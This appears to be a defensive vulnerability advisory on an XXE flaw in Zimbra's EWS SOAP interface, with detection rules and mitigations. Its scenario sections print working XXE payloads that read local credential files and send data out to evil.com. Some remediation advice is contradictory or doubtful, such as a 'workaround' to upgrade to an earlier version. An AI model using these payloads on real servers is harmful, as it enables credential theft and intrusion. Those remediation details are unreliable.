CVE-2026-33371

Executive Summary

CVE-2026-33371 is an XML External Entity (XXE) injection vulnerability discovered in the Zimbra Collaboration Suite (ZCS) versions 10.0 and 10.1, specifically within the Exchange Web Services (EWS) SOAP interface. An authenticated attacker can submit crafted XML payloads that are parsed with external entity resolution enabled, potentially leading to the disclosure of sensitive local files from the Zimbra server's filesystem. Given Zimbra's widespread deployment in enterprise and government email environments, exploitation of this flaw could expose configuration secrets, authentication credentials, or other sensitive data. The vulnerability has a provisional patch status (2/4 confidence) with a single OSV source claiming a fix, though this has not been independently confirmed. The EPSS score of 0.00234 indicates a low probability of active exploitation within 30 days, but the slow patch adoption rate typical of Zimbra deployments warrants immediate attention.

Technical Analysis

The vulnerability resides in the Zimbra EWS SOAP interface, which is Zimbra's implementation of Microsoft's Exchange Web Services protocol. This interface allows Outlook clients and third-party tools to interact with the Zimbra calendar, contacts, and email services via SOAP requests. The EWS handler processes XML SOAP envelopes that specify method calls and parameters. The flaw originates from the XML parser configuration used by the EWS servlet — specifically, the parser has external entity resolution enabled (DOCTYPE declarations are processed, and external entity references are dereferenced).

When a SOAP request is received, the Zimbra servlet parses the XML envelope to extract the operation name (e.g., GetItem, FindItem) and its parameters. If the parser is configured with ExternalGeneralEntities and ExternalParameterEntities enabled (a common misconfiguration when developers reuse default parser settings), an attacker can insert a <!DOCTYPE declaration or an entity reference such as &xxe; that points to a local file URI. The classic payload structure is as follows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
  <soap:Body>
    <m:GetItem xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
      <m:ItemShape><t:BaseShape>Default</t:BaseShape></m:ItemShape>
      <m:ItemIds><t:ItemId Id="&xxe;"/></m:ItemIds>
    </m:GetItem>
  </soap:Body>
</soap:Envelope>

The entity reference &xxe; is expanded by the parser, and if the EWS handler echoes the offending attribute value or includes it in an error message, the file content is returned to the attacker. Even if the file content is not directly reflected in the response, the attacker can leverage error-based XXE by pointing the entity to a resource that triggers a parser error containing the file metadata, or use blind XXE with an external DTD hosted on an attacker-controlled server to exfiltrate data via out-of-band HTTP requests.

Exploitation Scenarios

Scenario 1: Direct File Disclosure via Reflected XXE

1. Reconnaissance: The attacker identifies a Zimbra server using Shodan or similar search engines with a query such as http.title:"Zimbra" or product:"Zimbra". Alternatively, the attacker probes the /service/soap/ endpoint with a valid credentials check using Zimbra's AuthRequest SOAP method.

2. Authentication: The attacker authenticates using stolen credentials (phishing, credential stuffing) or by compromising a low-privilege mailbox account. They receive a valid authToken from the AuthResponse.

3. Weaponization: The attacker constructs a SOAP request to the EWS endpoint (/service/soap/EWS or https://<host>/EWS/Exchange.asmx) that includes the XXE payload. The payload declares an internal entity pointing to a sensitive local file:

   <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///opt/zimbra/conf/localconfig.xml"> ]>
   

   The localconfig.xml file contains Zimbra's LDAP admin credentials, DB passwords, and other secrets — a high-value target.

4. Trigger: The attacker sends the request with the ItemId attribute set to &xxe;. The EWS handler attempts to parse it, expanding the entity. If the application returns an error message that includes the attribute value (including the expanded file content), the attacker receives the file contents in the SOAP fault.

5. Post-Exploitation: With LDAP admin credentials extracted, the attacker authenticates to the Zimbra admin console, modifies mailbox delegation rules, creates backdoor accounts, or exfiltrates the entire mail database via the SOAP API.

Scenario 2: Blind XXE with Out-of-Band Exfiltration

1. Reconnaissance: The attacker identifies the Zimbra server and authenticates as an unprivileged user.

2. Staging: The attacker sets up an external DTD on an attacker-controlled server (http://evil.com/xxe.dtd) with the following content:

   <!ENTITY % file SYSTEM "file:///etc/passwd">
   <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://evil.com/?data=%file;'>">
   %eval;
   %exfil;
   

3. Weaponization: The SOAP request contains:

   <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd"> %xxe; ]>
   

4. Trigger: The server fetches the external DTD, processes the nested entities, and sends the contents of /etc/passwd (or any file) as an HTTP GET parameter to the attacker's server, where it is logged.

5. Impact: The attacker harvests file contents even without direct reflection in the response, enabling server fingerprinting and credential harvesting from localconfig.xml, /opt/zimbra/conf/zmzimbra.io, or any world-readable file.

Impact Assessment

The business impact of CVE-2026-33371 is substantial for any organization running Zimbra Collaboration Suite 10.0 or 10.1. The vulnerability requires authentication, which reduces the attack surface to users with valid credentials (employees, contractors, partners). However, in an enterprise email environment, this is typically a large percentage of the workforce, making the flaw practically exploitable by any internal user with minimal privileges. The CVSS score is listed as N/A, but based on the described impact, an environmental assessment would likely place this in the High range (7.0-8.9) — high attack surface, low privilege requirement, and serious confidentiality impact.

The information disclosure can expose Zimbra's localconfig.xml, which contains the LDAP bind password, the MySQL database password, and the jetty keystore password. With these credentials, an attacker can pivot to the LDAP directory server, dump all mailbox credentials, or directly access the mail database, resulting in complete compromise of the messaging infrastructure. In federated environments where Zimbra integrates with SSO (e.g., SAML), the extracted credentials could be replayed against other internal systems.

The blast radius extends beyond the Zimbra host itself, as the disclosed credentials often have elevated privileges within the hosting infrastructure. Web server configuration files, SSL private keys, and database connection strings are all within reach of the XXE read. The attack is silent in nature — no malware deployment or network anomalies — making it particularly dangerous for compliance-heavy environments (PCI DSS, HIPAA, GDPR) that must report data breaches involving PII or PHI. The public disclosure of this flaw will likely lead to credential-stuffing campaigns and targeted exploitation attempts, especially since Zimbra has been a frequent target for nation-state actors in recent years (e.g., CVE-2022-27925 and CVE-2022-37042 campaigns).

Detection Guidance

Sigma Rule

title: Zimbra EWS XXE - External Entity Reference in SOAP Request
id: f3b8a5d0-1234-4a1c-9c8e-5678abcdef01
status: experimental
description: Detects XML External Entity declarations in Zimbra EWS SOAP requests, indicating potential XXE exploitation.
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-33371
author: Valtersit Threat Intelligence
date: 2026/02/15
logsource:
  category: webserver
  product: zimbra
  service: accesslog
detection:
  selection_base:
    cs-uri-query|contains:
      - 'service/soap'
      - 'EWS/Exchange.asmx'
  selection_xxe_payload:
    cs-uri-query|contains|all:
      - 'DOCTYPE'
      - 'ENTITY'
      - 'SYSTEM'
  selection_rpm_injection:
    cs-uri-query|contains|any:
      - 'file:///'
      - 'http://'
      - 'https://'
  condition: selection_base and (selection_xxe_payload or selection_rpm_injection)
  timeframe: 5m
level: high
falsepositives:
  - Legitimate SOAP requests containing entity references in custom integration tools
tags:
  - attack.t1190
  - cve.2026-33371
  - xxe
  - zimbra

YARA Rule

rule Zimbra_EWS_XXE_2026_33371 {
   meta:
      author = "Valtersit Threat Intelligence"
      date = "2026-02-15"
      description = "Detects XXE payloads targeting Zimbra EWS SOAP interface"
      cve = "CVE-2026-33371"
      severity = "high"
   strings:
      $soap_envelope = /<soap:Envelope[^>]*>/
      $doctype_header = /<!DOCTYPE[^>]*\[/
      $entity_file = /<!ENTITY[^>]*SYSTEM\s*["']file:\/\//
      $entity_http = /<!ENTITY[^>]*SYSTEM\s*["']https?:\/\//
      $entity_param = /<!ENTITY[^>]*%?\s*(file|exfil|eval|x)/
      $zimbra_paths = /\/opt\/zimbra\/(conf|db|log)\//
   condition:
      ( uint16(0) == 0x3C3F or $soap_envelope ) and
      ( $doctype_header and ( $entity_file or $entity_http ) ) or
      ( $entity_param and ( $entity_file or $entity_http ) ) and
      ( $zimbra_paths or filesize < 10KB )
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-33371 Zimbra EWS XXE SOAP Payload Attempt"; flow:established,to_server; content:"POST"; http_method; content:"/service/soap/"; http_uri; nocase; content:"<!DOCTYPE"; http_client_body; nocase; content:"ENTITY"; http_client_body; nocase; content:"SYSTEM"; http_client_body; nocase; content:"file://"; http_client_body; nocase; content:"/opt/zimbra/"; http_client_body; nocase; pcre:"/<\!DOCTYPE[^>]*\[[^>]*<!ENTITY[^>]*SYSTEM[^>]*file:\/\//i"; classtype:attempted-user; sid:202633371; rev:1; reference:cve,2026-33371; priority:1;)

Elastic Detection

sequence by source.ip, user.name with maxspan=5m
  [network where event.action == "connection_accepted" and destination.port in (443, 7071, 8443) and process.name == "java"]
  [http where http.request.method == "POST" and (http.request.uri contains "/service/soap/" or http.request.uri contains "/EWS/Exchange.asmx") and http.request.body.text : "*<!DOCTYPE*" and http.request.body.text : "*ENTITY*" and http.request.body.text : "*SYSTEM*"]

Splunk SPL Query

index=proxy OR index=weblogic OR index=nginx sourcetype=zimbra_accesslog
| where match(cs_uri_query, "service/soap|EWS/Exchange.asmx")
| regex cs_uri_query="(?i)(<!DOCTYPE|ENTITY|SYSTEM|file:///)"
| stats count by src_ip, cs_uri_query, user_agent
| where count > 1
| table _time, src_ip, cs_uri_query, count

Wazuh OSSEC Rule

<group name="zimbra,">
  <rule id="332034" level="15">
    <if_sid>31100</if_sid>
    <match>service/soap|EWS/Exchange.asmx</match>
    <regex>(?i)<\!DOCTYPE[^>]*ENTITY[^>]*SYSTEM</regex>
    <description>CVE-2026-33371: Zimbra EWS XXE attempt detected in SOAP request</description>
    <group>attack.t1190, cve, xxe, zimbra,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

1) Immediate Mitigations:

• Restrict access to the EWS SOAP endpoint (/service/soap/ and /EWS/Exchange.asmx) to only trusted IP ranges and internal network segments using firewall rules or Zimbra's proxy configuration (zimbraReverseProxyIPs attribute).
• Disable the EWS protocol if it is not actively used by Outlook clients by setting zimbraMailServiceEnabled to FALSE for the ews service: zmprov mcf -zimbraMailServiceEnabled FALSE (after verifying no critical clients depend on it).
• Enforce multi-factor authentication (MFA) on all Zimbra accounts to limit access to authenticated endpoints, reducing the chances of credential compromise leading to XXE exploitation.
• Monitor access logs for anomalous SOAP requests containing DOCTYPE or ENTITY declarations.

2) Patch/Upgrade Steps:

• Check Zimbra's official security advisories and release notes for ZCS 10.0.13+ or 10.1.5+ (latest patched versions). If an official patch is released, apply it immediately using Zimbra's standard upgrade path: su - zimbra -c './install.sh -s' followed by zmcontrol restart.
• As a temporary workaround until the patch is confirmed, consider upgrading to ZCS 10.1.4 or earlier if a version without the EWS XXE issue is available (note: this has not been confirmed).
• If the OSV package hashes correspond to your exact Zimbra build, verify that your package manager flags an available update and apply it via the appropriate channel (e.g., yum update zimbra-* for RHEL/CentOS).

3) Long-Term Hardening:

• Configure the JVM system property com.zimbra.ews.xmlparser.externalentities=false (or the equivalent XML parser hardening flag) in the Zimbra Jetty environment (/opt/zimbra/libexec/jetty.sh) to force the EWS XML parser to reject DOCTYPE declarations and external entities.
• Validate and sanitize all inbound SOAP XML inputs by inserting an XML firewall or WAF rule that blocks <!DOCTYPE, ENTITY, and SYSTEM keywords before the request reaches the application server.
• Regularly review Zimbra security mailing lists and the Zimbra GitHub releases page for security patches, as Zimbra has a history of delayed public disclosure of security patches for this exact class of vulnerability.

References

1. NVD Entry for CVE-2026-33371 — https://nvd.nist.gov/vuln/detail/CVE-2026-33371
2. Zimbra Official Security Advisories — https://wiki.zimbra.com/wiki/Security_Center
3. OSV Vulnerability Database Entry — https://osv.dev/vulnerability/CVE-2026-33371
4. CISA Known Exploited Vulnerabilities Catalog (CVE-2026-33371 is NOT listed) — https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Activity: As of this report, there is no evidence of active exploitation of CVE-2026-33371 in the wild. The EPSS score of 0.00234 (14.4th percentile) confirms low exploitation probability. However, given Zimbra's recent history of targeted attacks by APT groups (e.g., APT28 exploiting CVE-2022-27925), organizations using Zimbra should treat this as a pre-warning sign and implement mitigations before public exploit code emerges. The absence of a confirmed patch (2/4 confidence) means vulnerability scanners may flag affected systems as exploitable indefinitely, increasing the likelihood of opportunistic attacks once a PoC is published. Monitor threat intelligence feeds for any references to this CVE in the next 30 days.